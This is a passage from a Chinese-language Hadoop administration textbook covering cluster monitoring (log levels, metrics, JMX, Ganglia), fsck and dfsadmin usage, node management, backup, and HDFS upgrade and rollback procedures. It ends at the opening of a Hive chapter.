监控日志\n所有Hadoop守护进程都会产生一个日志文件，这对管理员来说非常重要。下面我们就介绍如何使用这些日志文件。\n1.设置日志级别\n当进行故障调试排除时，很有必要临时调整日志的级别，以获得系统不同类型的信息。log4j日志一般包含这样几个级别：OFF、FATAL、ERROR、WARN、INFO、DEBUG、ALL或用户自定义的级别。\nHadoop守护进程有一个网络页面可以用来调整任何log4j日志的级别，在守护进程的网络UI后附后缀/logLevel即可访问该网络页面。按照规定，日志的名称和它所对应的执行日志记录的类名是一样的，可以通过查找源代码找到日志名称。例如，为了调试JobTracker类的日志，可以访问JobTracker的网络UI：http：//jobtracker-host：50030/logLevel，同时设置日志名称org.apache.hadoop.mapred.JobTracker到层级DEBUG。当然也可以通过命令行进行调整，代码如下：\nhadoop daemonlog-setlevel jobtracker-host：50030\\\norg.apache.hadoop.mapred.JobTracker DEBUG\n通过命令行修改的日志级别会在守护进程重启时被重置，如果想要持久化地改变日志级别，那么只要改变log4j.properties文件内容即可。我们可以在文件中加入以下行：\nlog4j.logger.org.apache.hadoop.mapred.JobTracker=DEBUG\n2.获取堆栈信息\n有关系统的堆栈信息，Hadoop守护进程提供了一个网络页面（在网络UI后附后缀/stacks才可以访问），该网络页面可以为管理员提供所有守护进程JVM中运行的线程信息。可以通过以下链接访问该网络页面：http：//jobtracker-host：50030/stacks。\n10.2.3 Metrics\n事实上，除了Hadoop自带的日志功能以外，还有很多其他可以扩展的Hadoop监控程序供管理员使用。在介绍这些监控工具之前，先对系统的可度量信息（Metrics）进行简单讲解。\nHDFS及MapReduce的守护进程会按照一定的规则来收集系统的度量信息。我们将这种度量规则称为Metrics。例如，DataNode会收集如下度量信息：写入的字节数、被复制的文件块数及来自客户端的请求数等。\nMetrics属于一个上下文，当前Hadoop拥有dfs、mapred、rpc、jvm等上下文。Hadoop守护进程会收集多个上下文的度量信息。所谓上下文即应用程序进入系统执行时，系统为用户提供的一个完整的运行时环境。进程的运行时环境是由它的程序代码和程序运行所需要的数据结构以及硬件环境组成的。\n这里我们认为，一个上下文定义了一个单元，比如，可以选择获取dfs上下文或jvm上下文。我们可以通过配置conf/hadoopmetrics.properties文件设定Metrics。在默认情况下，会将所有上下文都配置为NullContext类，这代表它们不会发布任何Metrics。下面是配置文件的默认配置情况：\ndfs.class=org.apache.hadoop.metrics.spi.NullContext\nmapred.class=org.apache.hadoop.metrics.spi.NullContext\njvm.class=org.apache.hadoop.metrics.spi.NullContext\nrpc.class=org.apache.hadoop.metrics.spi.NullContext\n其中每一行都针对一个不同的上下文单元，同时每一行定义了处理此上下文Metrics的类。这里的类必须是MetricsContext接口的一个实现；在上面的例子中，这些NullContext类正如其名，什么都不做，既不发布也不更新它们的Metrics。\n下面我们来介绍MetricsContext接口的实现。\n1.FileContext\n利用FileContext可将Metrics写入本地文件。FileContext拥有两个属性：fileName—定义文件的名称，period—指定文件更新的间隔。这两个属性都是可选的，如果不进行设置，那么Metrics每隔5秒就会写入标准输出。\n配置属性将应用于指定的上下文中，并通过在上下文名称后附加点“.”及属性名进行标示。比如，为了将jvm导出一个文件，我们会通过以下方法调整它的配置：\njvm.class=org.apache.hadoop.metrics.file.FileContext\njvm.fileName=/tmp/jvm_metrics.log\n其中，第一行使用FileContex来改变jvm的上下文，第二行将jvm上下文导出临时文件。\n需要注意的是，FileContext非常适合于本地系统的调试，但是它并不适合在大型集群中使用，因为它的输出文件会被分散到集群中，使分析的时间成本变得很高。\n2.GangliaContext\nGanglia（http：//ganglia. info/）是一个开源的分布式监控系统，主要应用于大型分布式集群的监控。通过它可以更好地监控和调整集群中每个机器节点的资源分配。Ganglia本身会收集一些监控信息，包括CPU和内存使用率等。通过使用GangliaContext我们可以非常方便地将Hadoop的一些测量内容注入Ganglia中。此外，GangliaContext有一个必须的属性—servers，它的属性值是通过空格或逗号分隔的Ganglia服务器主机地址：端口。我们将在10.2.5节中进行详细讲解。\n3.NullContextWithUpdateThread\n通过前面的介绍，我们会发现FileContext和GangliaContext都将Metrics推广到外部系统。而Hadoop内部度量信息的获取需要另外的工具，比如著名的Java管理扩展（Java Management Extensions, JMX），JMX中的NullContextWithUpdateThread就是用来解决这个问题的（我们将在后面进行详细讲解）。和NullContext相似，它不会发布任何Mertics，但是它会运行一个定时器周期性地更新内存中的Metrics，以保证另外的系统可以获得最新的Metrics。\n除NullContextWithUpdateThread外，所有MetricsContext都会执行这种在内存中定时更新的方法，所以只有当不使用其他输出进行Metrics收集时，才需要使用NullContext-WithUpdateThread。举例来说，如果之前正在使用GangliaContext，那么随后只要确认Metrics是否被更新，而且只需要使用JMX，不用进一步对Metrics系统进行配置。\n4.CompositeContext\nCompositeContext允许我们输出多个上下文中的相同的Metrics，比如下面的这个例子：\njvm.class=org.apache.hadoop.metrics.spi.CompositeContext\njvm.arity=2\njvm.sub1.class=org.apache.hadoop.metrics.file.FileContext\njvm.fileName=/tmp/jvm_metrics.log\njvm.sub2.class=org.apache.hadoop.metrics.ganglia.GangliaContext\njvm.servers=ip-10-70-20-111.ec2.internal：8699\n其中arity属性用来定义子上下文数量，在这里它的值为2。所有子上下文的属性名称都可以使用下面的句子设置：jvm.sub1.class=org.apache.hadoop.metrics.file.FileContext。\n10.2.4 Java管理扩展\nJava管理扩展（JMX）是一个为应用程序、设备、系统等植入管理功能的框架。JMX可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议，灵活地开发无缝集成的系统、网络和服务管理应用。Hadoop包含多个MBean（Managed Bean，管理服务，它描述一个可管理的资源），它可以将Hadoop的Metrics应用到基于JMX的应用程序中。当前MBeans可以将Metrics展示到dfs和rpc上中文中，但不能在mapred及jvm上下文中实现。表10-1是MBeans的列表。\nJDK中的Jconsole工具可以帮助我们查看JVM中运行的MBeans信息，使我们很方便地浏览Hadoop中的监控信息。很多第三方监控和调整系统（Nagios和Hyperic等）可用于查询MBeans，这样JMX自然就成为我们监控Hadoop系统的最好工具。但是，需要设置支持远程访问的JMX，并且设置一定的安全级别，包括密码权限、SSL链接及SSL客户端权限设置等。为了使系统支持远程访问，JMX要求对一些选项进行更改，其中包括设置Java系统的属性（可以通过编辑Hadoop的conf/hadoop-env.sh文件实现）。下面的例子展示了如何通过密码远程访问NameNode中的JMX（在SSL不可用的条件下）：\nexport HADOOP_NameNode_OPTS=\"-Dcom.sun.management.jmxremote\n-Dcom.sun.management.jmxremote.ssl=false\n-Dcom.sun.management.jmxremote.password.file=$HADOOP_CONF_DIR/jmxremote.password\n-Dcom.sun.management.jmxremote.port=8004$HADOOP_NameNode_OPTS\"\njmxremote. password文件以纯文本的格式列出了所有的用户名和密码。JMX文档有关于jmxremote.password文件的更进一步的格式信息。\n通过以上的配置，我们可以使用JConsole工具浏览远程NameNode中的MBean监控信息。事实上，我们还有很多其他方法实现这个功能，比如通过jmxquery（一个命令行工具，具体信息可查看http：//code.google.com/p/jmxquery/）来检索低于副本要求的块：\n./check_jmx-U service：jmx：rmi：///jndi/rmi：//NameNode-host：8004/jmxrmi-O\\\nhadoop：service=NameNode, name=FSNamesystemState-A UnderReplicatedBlocks\\\n-w 100-c 1000-username monitorRole-password secret\nJMX OK-UnderReplicatedBlocks is 0\n通过jmxquery命令创建一个JMX RMI链接，链接到NameNode主机地址上，端口号为8004。它会读取对象名为hadoop：service=NameNode, name=FSNamesystemState的UnderReplicatedBlocks属性，并将读出的值写入终端。-w、-c选项定义了警告和数值的临界值，这个临界值的选定要在我们运行和维护集群一段时间以后才能选出比较合适的经验值。\n需要注意的是，尽管我们可以通过JMX的默认配置看到Hadoop的监控信息，但是它们不会自动更新，除非更改MetricContext的具体实现。如果JMX是我们使用的监控系统信息的唯一方法，那么就可以把MetricContext的实现更改为NullContextWithUpdateThread。\n通常大多数人会使用Ganglia和另外一个可选的系统（比如Nagios）来进行Hadoop集群的检测工作。Ganglia可以很好地完成大数据量监控信息的收集和图形化工作，而Nagios及类似的系统则更擅长处理小规模的监控数据，并且在监控信息超出设定的监控阈值时发出警告。管理者可以根据需求选择合适的工具。下一节我们就对Ganglia的使用配置进行详细讲解。\n10.2.5 Ganglia\nGanglia是UC Berkeley发起的一个开源集群监视项目，用于测量数以千计的节点集群。Ganglia的核心包含两个Daemon（分别是客户端Ganglia Monitoring Daemon（gmond）和服务端Ganglia Meta Daemon（gmetad），以及一个Web前端。Daemon主要是用来监控系统性能，如CPU、memory、硬盘利用率、I/O负载、网络流量情况等；Web前端页面主要用于获得各个节点工作状态的曲线描述。Ganglia可以帮助我们合理调整、分配系统资源，为提高系统整体性能起到了重要作用。\n处于监控状态下的每台位于节点上的计算机都需要运行一个收集和发送度量数据的名为gmond的守护进程。接收所有度量数据的主机可以显示这些数据，并且可以将这些数据传递到监控主机中。gmond带来的系统负载非常少，它的运行不会影响用户应用进程的性能。多次收集这些数据则会影响节点性能。网络中的“抖动”发生在大量小消息同时出现时，可以通过将节点时钟保持一致来避免这个问题。\ngmetad可以部署在集群内任一台位于节点上的或通过网络连接到集群的独立主机中，它通过单播路由的方式与gmond通信，收集区域内节点的状态信息，并以XML数据的形式保存在数据库中。最终由RRDTool工具处理数据，并生成相应的图形显示，以Web方式直观地提供给客户端。这个服务器可以被看做是一个信息收集的装置，可以同时监控多个客户端的系统状况，并把信息显示在Web界面上。通过Web端连接这个服务器，就可以看到它所监控的所有机器状态。\n1.服务器端的安装与配置\n首先需要在服务器端安装下列包：ganglia-gmetad-3.0.3-1.fc4.i386.rpm（从各个网段获取汇总监控信息），rrdtool-1.2.18-1.el4.rf.i386.rpm（显示图像的工具），rrdtool-devel-1.2.18-1.el4.rf.i386.rpm, ganglia-web-3.0.3-1.noarch.rpm（Ganglia的Web程序），perl-rrdtool-1.2.18-1.el4.rf.i386.rpm。使用#rpm-ivh软件包.rpm可以安装这些包。\n安装完成之后，找到Ganlia服务端的配置文档：/etc/gmetad.conf，可以根据不同的需求进行配置。在这里只简单介绍一下如何添加或修改要监控的系统。先通过#vi/etc/gmetad.conf命令（进入编辑），找到data_source“Login FARM”10.77.20.111：8651 10.77.20.111：8699（后面的这些IP地址就是要监控的主机，冒号后跟的是要监听的端口号，这个端口号将在介绍客户端的配置时提到）。其他属性保持默认配置即可。\n配置完成后要重启gmetad服务：#service gmetad restart。下面我们来配置虚拟主机，设置路径DocumentRoot为\"/var/www/html/ganglia\"：\n#配置虚拟主机\n＜Directory\"/var/www/html/ganglia\"＞\nOptions Indexes FollowSymLinks\nAllowOverride None\nOrder allow, deny\nAllow from all\n＜/Directory＞\n然后重启httpd服务：service httpd restart，即完成服务器端的安装和配置。\n2.客户端的安装与配置\n在客户端安装Ganglia，是为了收集本机的信息，并通过设置好的端口把信息传给服务器端，因此我们需要在所有节点上进行相应的安装和配置。下面我们来讲解如何进行客户端的安装。\n首先在客户端安装软件包：ganglia-gmond-3.0.3-1.fc4.i386.rpm。安装完成后，找到它的配置文档/etc/gmond.conf并打开编辑（#vi/etc/gmond.conf）。接着找到配置文件中如下部分并按照所给出的例子进行配置。\n/*You can specify as many tcp_accept_channels as you like to share\nan xml description of the state of the cluster*/\ntcp_accept_channel{\nport=8699/*注释：这个是端口，通过它来传送系统信息。注意要和服务器端监听的端口一致*/\nacl{\ndefault=\"deny\"\naccess{\nip=10.77.20.111/*注释：这里是服务器的IP地址*/\nmask=32\naction=\"allow\"\n}}}\n完成配置后，重启gmond服务（#service gmond restart）即可。至此Ganglia在服务器端和客户端的安装完成，我们可以查看它的运行状态，如图10-2所示。\n图 10-2 Ganglia的监控页面\n事实上，有很多其他可以扩展Hadoop监控能力的工具比如本书第17章介绍的Chukwa，它是一个数据收集和监控系统，构建于HDFS和MapReduce之上，也是可供管理员选择的监控工具。Chukwa可以统计分析日志文件，从而提供给管理员想要的信息。\n10.2.6 Hadoop管理命令\n在了解扩展的监控管理工具的同时，也不能忘记Hadoop本身为我们提供了相应的系统管理工具，本节我们就对相关的工具进行介绍。\n1.dfsadmin\ndfsadmin是一个多任务的工具，我们可以使用它来获取HDFS的状态信息，以及在HDFS上执行的管理操作。管理员可以在终端中通过Hadoop dfsadmin命令调用它，这里需要使用超级用户权限。dfsadmin相关的命令如表10-2所示。\n2.文件系统验证（fsck）\nHadoop提供了fsck工具来验证HDFS中的文件是否正常可用。这个工具可以检测文件块是否在DataNode中丢失，是否低于或高于文件副本要求。下面给出使用的例子：\nhadoop fsck/\n……Status：HEALTHY\nTotal size：511799225 B\nTotal dirs：10\nTotal files：22\nTotal blocks（validated）：22（avg.block size 23263601 B）\nMinimally replicated blocks：22（100.0%）\nOver-replicated blocks：0（0.0%）\nUnder-replicated blocks：0（0.0%）\nMis-replicated blocks：0（0.0%）\nDefault replication factor：3\nAverage block replication：3.0\nCorrupt blocks：0\nMissing replicas：0（0.0%）\nNumber of data-nodes：4\nNumber of racks：1\nThe filesystem under path'/'is HEALTHY\nfsck会递归遍历文件系统的Namespace，从文件系统的根目录开始检测它所找到的全部文件，并在它验证过的文件上标记一个点。要检查一个文件，fsck首先会检索元数据中文件的块，然后查看是否有问题或是否一致。这里需要注意的是，fsck验证只和NameNode通信而不和DataNode通信。\n以下是几种fsck的输出情况。\n（1）Over-replicated blocks\nOver-replicated blocks用来指明一些文件块副本数超出了它所属文件的限定。通常来说，过量的副本数存在并不是问题，HDFS会自动删除多余的副本。\n（2）Under-replicated blocks\nUnder-replicated blocks用来指明文件块数未达到所属文件要求的副本数量。HDFS也会自动创建新的块直到该块的副本数能够达到要求。可以通过hadoop dfsadmin-metasave命令获得正在被复制的块信息。\n（3）Misreplicated blocks\nMisreplicated blocks用来指明不满足块副本存储位置策略的块。例如，假设副本因子为3，如果一个块的所有副本都存在于一个机器中，那么这个块就是Misreplicated blocks。针对这个问题，HDFS不会自动调整。我们只能通过手动设置来提高该文件的副本数，然后再将它的副本数设置为正常值来解决这个问题。\n（4）Corrupt blocks\nCorrupt blocks用来指明所有的块副本全部出现问题。只要块存在的副本可用，它就不会被报告为Corrupt blocks。NameNode会使用没有出现问题的块进行复制操作，直到达到目标值。\n（5）Missing replicas\nMissing replicas用来表明集群中不存在副本的文件块。\nMissing replicas及Corrupt blocks被关注得最多，因为出现这两种情况意味着数据的丢失。fsck默认不去处理那些丢失或出现问题的文件块，但是可以通过命令使其执行以下操作：\n通过-move，将出现问题的文件放入HDFS的/lost+found文件夹下。\n通过-delete选项将出现问题的文件删除，删除后即不可恢复。\n3.找到某个文件的所有块\nfsck提供一种简单的方法用于查找属于某个文件的所有块，代码如下：\nhadoop fsck/user/admin/In/hello.txt-files-blocks-racks\n/user/admin/In/hello.txt 13 bytes，1 block（s）：OK\n0.blk_-8114668855310504639_1056 len=13 repl=1[/default-rack/127.0.0.1：50010]\nStatus：HEALTHY\nTotal size：13 B\nTotal dirs：0\nTotal files：1\nTotal blocks（validated）：1（avg.block size 13 B）\nMinimally replicated blocks：1（100.0%）\nOver-replicated blocks：0（0.0%）\nUnder-replicated blocks：0（0.0%）\nMis-replicated blocks：0（0.0%）\nDefault replication factor：1\nAverage block replication：1.0\nCorrupt blocks：0\nMissing replicas：0（0.0%）\nNumber of data-nodes：1\nNumber of racks：1\nThe filesystem under path'/user/admin/In/hello.txt'is HEALTHY\n从以上输出中可以看到：文件hello.txt由一个块组成，并且命令也返回了它所在的DataNode。fsck的选项如下：\n-files，显示文件的文件名称、大小、块数量及是否可用（是否存在丢失的块）；\n-blocks，显示每个块在文件中的信息，一个块用一行显示；\n-racks，展示了每个块所处的机架位置及DataNode的位置。\n运行fsck命令，如果不加选项，则执行以上所有指令。\n4.DataNode块扫描任务\n每个DataNode都会执行一个块扫描任务，它会周期性地验证它所存储的块，这就允许有问题的块能够在客户端读取时被删除或修整。DataBlockScanner可维护一个块列表，它会一个一个地扫描这些块，并进行校验和验证。\n进行块验证的周期可以通过dfs.DataNode.scan.period.hours属性值来设定，默认为504小时，即3周。出现问题的块将会被报告给NameNode进行处理。\n也可以通过访问DataNode的Web接口获得块验证的信息：http：//datanodeIP：50075/block ScannerReport。下面是一个报告的样本。\nTotal Blocks：32\nVerified in last hour：1\nVerified in last day：1\nVerified in last week：12\nVerified in last four weeks：31\nVerified in SCAN_PERIOD：31\nNot yet verified：1\nVerified since restart：2\nScans since restart：2\nScan errors since restart：0\nTransient scan errors：0\nCurrent scan rate limit KBps：1024\nProgress this period：8%\nTime left in cur period：99.96%\n通过附加后缀listblocks（http：//datanodeIP：50075/blockScannerReport?listblocks），报告会在前面这个DataNode中加入所有块的最新验证状态信息。\n5.均衡器（balancer）\n由于HDFS不间断地运行，隔一段时间可能就会出现文件在集群中分布不均匀的情况。一个不平衡的集群会影响系统资源的充分利用，所以我们要想办法避免这种情况。\nbalancer程序是Hadoop的守护进程，它会通过将文件块从高负载的DataNode转移到低使用率的DataNode上，即进行文件块的重新分布，以达到集群的平衡。同时还要考虑HDFS的块副本分配策略。balancer的目的是使集群达到相对平衡，这里的相对平衡是指每个DataNode的磁盘使用率和整个集群的资源使用率的差值小于给定的阈值。我们可以通过这样的命令运行balancer程序：start-balancer.sh。-threshold参数设定了多个可以接受的集群平衡点。超过这个平衡预置就要进行平衡调整，对文件块进行重分布。这个参数值在大多数情况下为10%，当然也可通过命令行设置。balancer被设计为运行于集群后台中，不会增加集群运行负担。我们可以通过参数设置来限制balancer在执行DataNode之间的数据转移时占用的带宽资源。这个属性值可以通过hdfs-site.xml配置文件中的dfs.balance.bandwidthPerSec属性进行修改，默认为1MB。\n10.3 Hadoop集群的维护\n 10.3.1 安全模式\n当NameNode启动时，要做的第一件事情就是将映像文件fsimage加载到内存，并应用edits文件记录编辑日志。一旦成功重构和之前文件系统一致且居于内存的文件系统元数据，NameNode就会创建一个新的fsimage文件（这样就可以更高效地记录检查点，而不用依赖于Secondary NameNode）和一个空的编辑日志文件。只有全部完成了这些工作，NameNode才会监听RPC和HTTP请求。然而，如果NameNode运行于安全模式下，那么文件系统只能对客户端提供只读模式的视图。\n文件块的位置信息并没有持久化地存储在NameNode中，这些信息都存储在各DataNode中。在文件系统的常规操作期间，NameNode会在内存中存储一个块位置的映射。在安全模式下，需要留给DataNode一定的时间向NameNode上传它们存储块的列表，这样NameNode才能获得充足的块位置信息，才会使文件系统更加高效。如果NameNode没有足够的时间来等待获取这些信息，那么它就会认为该块没有足够的副本，进而安排其他DataNode复制。这在很多情况下显然是没有必要的，还浪费系统资源。在安全模式下，NameNode不会处理任何块复制和删除指令。\n当最小副本条件达到要求时，系统就会退出安全模式，这需要延期30秒（这个时间由dfs.safe-mode.extension属性值确定，默认为30，一些小的集群（比如只有10个节点），可以设置该属性值为0）。这里所说的最小副本条件是指系统中99.9%（这个值由dfs.safemode.threshold.pct属性确定，默认为0.999）的文件块达到dfs.replication.min属性值所设置的副本数（默认为1）。\n当格式化一个新的HDFS时，NameNode不会进入安全模式，因为此时系统中还没有任何文件块。\n使用以下命令可以查看NameNode是否已进入安全模式：\nhadoop dfsadmin-safemode get\nSafe mode is ON\n在有些情况下，需要在等待NameNode退出安全模式时执行一些命令，这时我们可以使用以下命令：\nhadoop dfsadmin-safemode wait\n#command to read or write a file\n作为管理员，也应掌握使NameNode进入或退出安全模式的方法，这些操作有时也是必需的，比如在升级完集群后需要确认数据是否仍然可读等。这时我们可以使用以下命令：\nhadoop dfsadmin-safemode enter\nSafe mode is ON\n当NameNode仍处于安全模式时，也可以使用以上命令以保证NameNode没有退出安全模式。要使系统退出安全模式可执行以下命令：\nhadoop dfsadmin-safemode leave\nSafe mode is OFF\n10.3.2 Hadoop的备份\n1.元数据的备份\n如果NameNode中存储的持久化元数据信息丢失或遭到破坏，那么整个文件系统就不可用了。因此元数据的备份至关重要，需要备份不同时期的元数据信息（1小时、1天、1周……）以避免突然宕机带来的破坏。\n备份的一个最直接的办法就是编写一个脚本程序，然后周期性地将Secondary NameNode中previous.checkpoint子目录（该目录由fs.checkpoint.dir属性值确定）下的文件归档到另外的机器上。该脚本需要额外验证所复制的备份文件的完整性。这个验证可以通过在NameNode的守护进程中运行一个验证程序来实现，验证其是否成功地从内存中读取了fsimage及edits文件。\n2.数据的备份\nHDFS的设计目标之一就是能够可靠地在分布式集群中储存数据。HDFS允许数据丢失的发生，所以数据的备份就显得至关重要了。由于Hadoop可以存储大规模的数据，备份哪些数据、备份到哪里就成为一个关键。在备份过程中，最优先备份的应该是那些不能再生的数据和对商业应用最关键的数据。而对于那些可以通过其他手段再生的数据或对于商业应用价值不是很大的数据，可以考虑不进行备份。\n这里需要强调的是，不要认为HDFS的副本机制可以代替数据的备份。HDFS中的Bug也会导致副本丢失，同样硬件也会出现故障。尽管Hadoop可以承受集群中廉价商用机器故障，但是有些极端情况不能排除在外，特别是系统有时还会出现软件Bug和人为失误的情况。\n通常Hadoop会设置用户目录的策略，比如，每个用户都有一个空间配额，每天晚上都可进行备份工作。但是不管设置什么样的策略，都需要通知用户，以避免客户反映问题。\n前面介绍的distcp工具（参见第9章HDFS详解）是在不同HDFS之间或不同Hadoop文件系统之间转存和备份数据的好工具，因为distcp可以并行运行数据复制。\n10.3.3 Hadoop的节点管理\n作为Hadoop集群的管理员，可能随时都要处理增加和撤销机器节点的任务。例如，要增加集群的存储容量，就要增加新的节点。相反，要缩小集群的规模，就需要撤销已存在的节点。如果一个节点频繁地发生故障或运行缓慢，那么也要考虑撤销已存在的节点。节点一般承担DataNode和TaskTracker的任务，Hadoop支持对它们的添加和撤销。\n1.添加新的节点\n在第2章，我们介绍了如何部署Hadoop集群，可以看到添加一个新的节点虽然只用配置hdfs-site.xml文件和mapred-site.xml文件，但最好还是配置一个授权节点列表。\n如果允许任何机器都可以连接到NameNode上并充当DataNode，这是存在安全隐患的，因为这样的机器可能能够获得未授权文件的访问权限。此外这样的机器并不是真正的DataNode，但它可以存储数据，却又不在集群的控制之下，并且任何时候都有可能停止运行，从而造成数据丢失。由于配置简单或存在配置错误，即使在防火墙内这样的处理也可能存在风险，因此在集群中也要对DataNode进行明确的管理。\n在dfs.hosts文件中指定可以连接到NameNode的DataNode列表。dfs.hosts文件存储在NameNode的本地文件系统上，包含每个DataNode的网络地址，一行表示一个DataNode。要为一个DataNode设置多个网络地址，把它们写到一行中，中间用空格分开。类似的，TaskTracker是在mapred.hosts中设置的。一般来说，DataNode和TaskTracker列表都存在一个共享文件，名为include file。该文件被dfs.hosts及mapred.hosts两者引用，因为在大多数情况下，集群中的机器会同时运行DataNode及TaskTracker守护进程。\n需要注意的是，dfs.hosts和mapred.hosts这两个文件与slaves文件不同，slaves文件被Hadoop的执行脚本用于执行集群范围的操作，例如集群的重启等，但它从来不会被Hadoop的守护进程使用。\n要向集群添加新的节点，需要执行以下步骤：\n1）向include文件中添加新节点的网络地址；\n2）使用以下命令更新NameNode中具有连接权限的DataNode集合：\nhadoop dfsadmin-refreshNodes\n3）更新带有新节点的slaves文件，以便Hadoop控制脚本在执行后续操作时可以使用更新后的slaves文件中的所有节点；\n4）启动新的数据节点；\n5）重新启动MapReduce集群；\n6）检查网页用户界面是否有新的DataNode和TaskTracker。\n需要注意的是，HDFS不会自动将旧DataNode上的数据转移到新的DataNode中，但我们可以运行平衡器命令进行集群均衡。\n2.撤销节点\n撤销数据节点时要避免数据的丢失。在撤销前，需先通知NameNode要撤销的节点，然后在撤销此节点前将上面的数据块转移出去。而如果关闭了正在运行的TaskTracker，那么JobTracker会意识到错误并将任务分配到其他TaskTracker中去。\n撤销节点过程由exclude文件控制：对于HDFS来说，可以通过dfs.hosts.exclude属性来控制；对于MapReduce来说，可以由mapred.hosts.exclude来设置。\nTaskTracker是否可以连接到JobTracker，其规则很简单，只要include文件中包含且exclude中不包含这个TaskTracker，这样TaskTracker就可以连接到JobTracker来执行任务。没有定义的或空的include文件意味着所有节点都在include文件中。\n对于HDFS来说规则有些许不同，表10-3总结了include和exclude存放节点的情况。对于TaskTracker来说，一个未定义的或空的include文件意味着所有的节点都包含其中。\n要想从集群中撤销节点，需要执行以下步骤：\n1）将需要撤销的节点的网络地址增加到exculde文件中，注意，不要在此时更新include文件；\n2）重新启动MapReduce集群来终止已撤销节点的TaskTracker；\n3）用以下命令更新具有新的许可DataNode节点集的NameNode：\nhadoop dfsadmin-refreshNodes\n4）进入网络用户界面，先检查已撤销的DataNode的管理状态是否变为“DecommissionIn Progress”，然后把数据块复制到集群的其他DataNode中；\n5）当所有DataNode报告其状态为“Decommissioned”时，所有数据块也都会被复制，此时可以关闭已撤销的节点；\n6）从include中删除节点网络地址，然后再次运行命令：\nhadoop dfsadmin-refreshNodes\n7）从slaves文件中删除节点。\n10.3.4 系统升级\n升级HDFS和MapReduce集群需要一个合理的操作步骤，这里我们主要讲解HDFS的升级。如果文件系统升级后文件格局发生了变化，那么升级时会将文件系统的数据和元数据迁移到与新版本一致的格式上。由于任何涉及数据迁移的操作都会导致数据的丢失，所以必须保证数据和元数据都有备份（具体操作参看10.3.2节）。在进行升级时，可以先在小型集群中进行测试，以便正式运行时可以解决所有问题。\nHadoop对自身的兼容性要求非常高，所有Hadoop 1.0之前版本的兼容性要求最严格，只有来自相同发布版本的组件才能保证相互的兼容性，这就意味着整个系统从守护进程到客户端都要同时更新，还需要集群停机一段时间。后期发布的版本支持回滚升级，允许集群守护进程分阶段升级，以便在更新期间可以运行客户端。\n如果文件系统的布局不改变，那么集群升级就非常简单了。首先在集群中安装新的HDFS和MapRedude（同时在客户端也要安装），然后关闭旧的守护进程，升级配置文件，启动新的守护进程和客户端更新库。这个过程是可逆的，因此升级后的版本回滚到之前版本也很简单。\n每次成功升级后都要执行一系列的清除步骤：\n1）从集群上删除旧的安装和配置文件；\n2）修复代码和配置中的每个错误警告。\n以上讲解的系统升级非常简单，但是如果需要升级文件系统，就需要更进一步的操作。\n如果使用以上讲解方法进行升级，并且HDFS是一个不同的布局版本，那么NameNode就不会正常运行。NameNode的日志会产生以下信息：\nFile system image contains an old layout version-15.\nAn upgrade to version-18 is required.\nPlease restart NameNode with-upgrade option.\n要想确定是否需要升级文件系统，最好的办法就是在一个小集群上进行测试。\nHDFS升级将复制以前版本的元数据和数据。升级并不需要两倍的集群存储空间，因为DataNode使用硬链接来保留对同一个数据块的两个引用，这样就可以在需要的时候轻松实现回滚到以前版本的文件系统。\n需要注意的是，升级后只能保留前一个版本的文件系统，而不能回滚到多个文件系统，因此执行另一个对HDFS的升级需要删除以前的版本，这个过程被称为确定更新（finalizing the upgrade）。一旦更新被确定，那HDFS就不会回滚到以前的版本了。\n需要说明的是，只有可以正常运作的健康的系统才能被正确升级。在进行升级之前，必须进行一个全面的fsck操作。为防止意外，可以将系统中的所有文件及块的列表（fsck的输出）进行备份。这样就可以在升级后将运行的输出与之对比，检测是否全部正确升级，有没有数据丢失。\n还需要注意，在升级之前要删除临时文件，包括HDFS上MapReduce系统目录中的文件和本地临时文件。\n完成以上这些工作后就可以进行集群的升级和文件系统的迁移了，具体步骤如下：\n1）确保之前的升级操作全部完成，不会影响此次升级；\n2）关闭MapReduce，终止TaskTracker上的所有任务进程；\n3）关闭HDFS并备份NameNode目录；\n4）在集群和客户端上安装新版本的Hadoop HDFS和同步的MapReduce；\n5）使用-upgrade选项启动HDFS；\n6）等待操作完成；\n7）在HDFS上进行健康检查；\n8）启动MapReduce；\n9）回滚或确定升级。\n在运行升级程序时，最好能从PATH环境变量中删除Hadoop脚本，这样可以避免运行不确定版本的脚本程序。在安装目录定义两个环境变量是很方便的，在以下指令中已经定义了OLD_HADOOP_INSTALL和NEW_HADOOP_INSTALL。在以上步骤5）中我们要运行以下指令：\n$NEW_HADOOP_INSTALL/bin/start-dfs.sh-upgrade\nNameNode升级它的元数据，并将以前的版本放入新建的目录previous中：\n${dfs.name.dir}/current/VERSION\n/edits\n/fsimage\n/fstime\n/previous/VERSION\n/edits\n/fsimage\n/fstime\n采用类似的方式，DataNode升级它的存储目录，将旧的目录复制到previous目录中去。\n升级过程需要一段时间才能完成。可以使用dfsadmin命令来检查升级的进度。升级的事件同样会记录在守护进程的日志文件中。在步骤6）中执行以下命令：\n$NEW_HADOOP_INSTALL/bin/hadoop dfsadmin-upgradeProgress status\nUpgrade for version-18 has been completed.\nUpgrade is not finalized.\n以上代码表明升级已经完成。在这个阶段必须在文件系统上进行一些健康检查（即步骤7），比如使用fsck进行文件和块的检查）。当进行检查（只读模式）时，可以让HDFS进入安全模式，以防止其他检查对文件进行更改。\n步骤9）是可选操作，如果在升级后发现问题，则可以回滚到之前版本。\n首先，关闭新的守护进程：\n$NEW_HADOOP_INSTALL/bin/stop-dfs.sh\n然后，用-rollback选项启动旧版本的HDFS：\n$OLD_HADOOP_INSTALL/bin/start-dfs.sh-rollback\n这个命令会使用NameNode和DataNode以前的副本替换它们当前存储目录下的内容，文件系统立即返回原始状态。\n如果对新升级的版本感到满意，那么可以执行确定升级（即步骤9），可选），并删除以前的存储目录。需要注意的是在升级确定后，就不能回滚到之前的版本了。\n需要执行以下步骤，才能进行另一次升级：\n$NEW_HADOOP_INSTALL/bin/hadoop dfsadmin-fnalizeUpgrade\n$NEW_HADOOP_INSTALL/bin/hadoop dfsadmin-upgradeProgress status\nThere are no upgrades in progress.\n至此，HDFS升级到了最新版本。\n10.4 本章小结\n本章重点介绍了Hadoop监控和管理方面的相关内容。\n首先，从HDFS文件结构开始进行相关介绍。HDFS作为Hadoop的核心分布式文件系统，其许多应用都构建在其核心分布式文件系统上。对于作为基础架构的核心分布式文件系统，管理员要给予更多的关注。\n其次，本章从整体上对Hadoop的监控机制和相关的监控工具进行了分析，着重分析了Hadoop监控的支持基础、日志和度量，同时提出了诸多系统监控的解决方案，并着重介绍了Ganglia监控软件。\n最后，本章对实际应用中经常遇到的维护要求，比如增删节点、数据备份、系统升级等进行了介绍。\n第11章 Hive详解\n本章内容\nHive简介\nHive的基本操作\nHive QL详解\nHive网络（Web 